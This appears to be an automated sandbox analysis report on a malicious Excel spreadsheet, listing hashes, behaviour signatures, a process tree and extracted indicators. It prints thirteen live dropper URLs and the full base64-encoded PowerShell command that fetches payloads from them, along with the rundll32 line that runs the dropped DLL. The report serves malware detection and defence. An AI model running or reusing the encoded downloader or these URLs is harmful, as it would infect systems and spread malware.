Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    21/11/2024, 00:00

General

  • Target

    077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da.xls

  • Size

    138KB

  • MD5

    240e23646f7eea10d96c6d094abae48a

  • SHA1

    8f163824581c9e8eca26aa43708816b1db7b0c3b

  • SHA256

    077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da

  • SHA512

    aace2d47cba74b058506cad53fe38cef310bed91c24e98f8581b07101c73af452a07b2499b595135f855e899af6e0604b2e8a4efcf88b526f73dbb05305443ae

  • SSDEEP

    3072:uKehv7q2Pjx45uoDGTj+5xtekEvi8/dgwa3Wm47CdX5gVvhoxzYLasdJXIchFL:lehv7q2Pjx45uoDGTj+5xtFEvi8/dgwh

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://midnightsilvercrafters.com/store/wBjNOUw/

exe.dropper

http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/

exe.dropper

https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/

exe.dropper

https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/

exe.dropper

https://servilogic.net/b/14hqrdyP0Z3WsbQib8/

exe.dropper

https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/

exe.dropper

http://webmail.glemedical.com/wp-content/J1M2xxodH/

exe.dropper

http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/

exe.dropper

https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/

exe.dropper

https://fortiuspharma.com/y6krss/EGm347cqj5/

exe.dropper

https://garyjharris.com/cgi-bin/0hH/

exe.dropper

https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/

exe.dropper

https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\077782b6f094679f07c7d75532c4ade80b393aaecc21a9e99ce9db2a2a2363da.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2956
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\oue4hjld.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\bhnasleil.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2520
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2880
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1388
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1900

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\programdata\bhnasleil.bat

    Filesize

    3KB

    MD5

    0f96848827a2960f874bcf613ce1e72c

    SHA1

    d936a765910adaf627fc6459716847fd87595ea2

    SHA256

    9e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e

    SHA512

    00f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862

  • \??\c:\programdata\oue4hjld.vbs

    Filesize

    604B

    MD5

    a0e5c8b0ad3da42bf6952871a41bf5e8

    SHA1

    cd2106ebaf43d596057457e87cf4c8482e246005

    SHA256

    5c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a

    SHA512

    c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725

  • memory/2956-1-0x00000000720DD000-0x00000000720E8000-memory.dmp

    Filesize

    44KB

  • memory/2956-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2956-3-0x0000000006ED0000-0x0000000006FD0000-memory.dmp

    Filesize

    1024KB

  • memory/2956-23-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-12-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-14-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-13-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-17-0x00000000062A0000-0x00000000063A0000-memory.dmp

    Filesize

    1024KB

  • memory/2956-18-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-16-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-15-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-97-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-21-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-22-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-20-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-19-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-65-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-28-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-36-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-35-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-34-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-33-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-32-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-39-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-31-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-30-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-40-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-29-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-27-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-41-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-43-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-45-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-48-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-54-0x00000000062A0000-0x00000000063A0000-memory.dmp

    Filesize

    1024KB

  • memory/2956-87-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-85-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-84-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-83-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-82-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-81-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-80-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-79-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-78-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-76-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-75-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-74-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-99-0x00000000720DD000-0x00000000720E8000-memory.dmp

    Filesize

    44KB

  • memory/2956-73-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-70-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-71-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-69-0x00000000062A0000-0x00000000063A0000-memory.dmp

    Filesize

    1024KB

  • memory/2956-68-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-67-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-66-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-64-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-63-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-62-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-61-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-60-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-59-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-57-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-49-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-47-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-46-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-44-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-42-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-26-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-25-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-24-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-101-0x00000000062A0000-0x00000000063A0000-memory.dmp

    Filesize

    1024KB

  • memory/2956-104-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-105-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB

  • memory/2956-106-0x0000000000530000-0x0000000000630000-memory.dmp

    Filesize

    1024KB